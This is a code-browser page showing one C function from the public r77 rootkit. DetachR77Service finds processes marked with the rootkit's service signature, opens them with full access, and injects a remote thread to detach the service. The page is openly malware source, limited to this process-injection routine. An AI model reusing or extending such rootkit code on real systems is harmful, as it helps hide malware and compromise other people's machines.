MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / DetachR77Service

Function DetachR77Service

r77api/r77process.c:232–263  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

230 FREE(r77Processes);
231}
232BOOL DetachR77Service()
233{
234 BOOL result = FALSE;
235 PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
236 DWORD r77ProcessCount = 1000;
237
238 if (GetR77Processes(r77Processes, &r77ProcessCount))
239 {
240 for (DWORD i = 0; i < r77ProcessCount; i++)
241 {
242 if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE)
243 {
244 HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Processes[i].ProcessId);
245 if (process)
246 {
247 // R77_PROCESS.DetachAddress is a function pointer to DetachService()
248 HANDLE thread = NULL;
249 if (NT_SUCCESS(R77_NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Processes[i].DetachAddress, NULL, 0, 0, 0, 0, NULL)))
250 {
251 result = TRUE;
252 CloseHandle(thread);
253 }
254
255 CloseHandle(process);
256 }
257 }
258 }
259 }
260
261 FREE(r77Processes);
262 return result;
263}

Callers 2

mainFunction · 0.85
mainFunction · 0.85

Calls 2

GetR77ProcessesFunction · 0.85
R77_NtCreateThreadExFunction · 0.85

Tested by

no test coverage detected